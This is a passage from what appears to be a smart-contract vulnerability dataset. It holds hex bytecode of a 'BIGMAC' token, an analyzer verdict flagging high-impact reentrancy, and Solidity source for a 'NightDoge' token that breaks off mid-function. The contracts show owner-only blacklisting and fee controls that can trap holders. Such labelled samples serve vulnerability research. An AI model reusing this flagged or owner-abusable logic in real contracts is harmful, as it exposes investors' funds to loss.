f1673ffffffffffffffffffffffffffffffffffffffff1614610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d9161165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e15906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f4249474d41430000000000000000000000000000000000000000000000000000815250905090565b610e8661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a906132c4565b60405180910390fd5b8060188190555050565b610f2561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa9906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000610fe8610fe161165e565b8484611831565b6001905092915050565b610ffa61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107e906132c4565b60405180910390fd5b8060168190555050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110f261165e565b73ffffffffffffffffffffffffffffffffffffffff1614806111685750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661115061165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61117157600080fd5b600061117c30610b9e565b9050611187816121f4565b50565b61119261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461121f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611216906132c4565b60405180910390fd5b60005b838390508110156112be578160056000868685818110611245576112446132e4565b5b905060200201602081019061125a9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112b690613342565b915050611222565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61135361165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d7906132c4565b60405180910390fd5b8060178190555050565b6113f261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611476906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e6906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115b461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611641576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611638906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610d60565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610d60565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610d60565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610b9e565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610b9e565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000678ac7230489e800009050612772678ac7230489e800006006546124d290919063ffffffff16565b82101561279057600654678ac7230489e80000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c55ca1fe56487e2003881d31c6467b9712d28342d67a0b54ba65eb64bc4e5e064736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,187
0xb70feb957aaeb88317afa802f30ea9756c4e6242
//NightDoge ($NightDoge) //2% Deflationary yes //Bot Protect yes // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NightDoge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "NightDoge"; string private constant _symbol = "NightDoge"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = 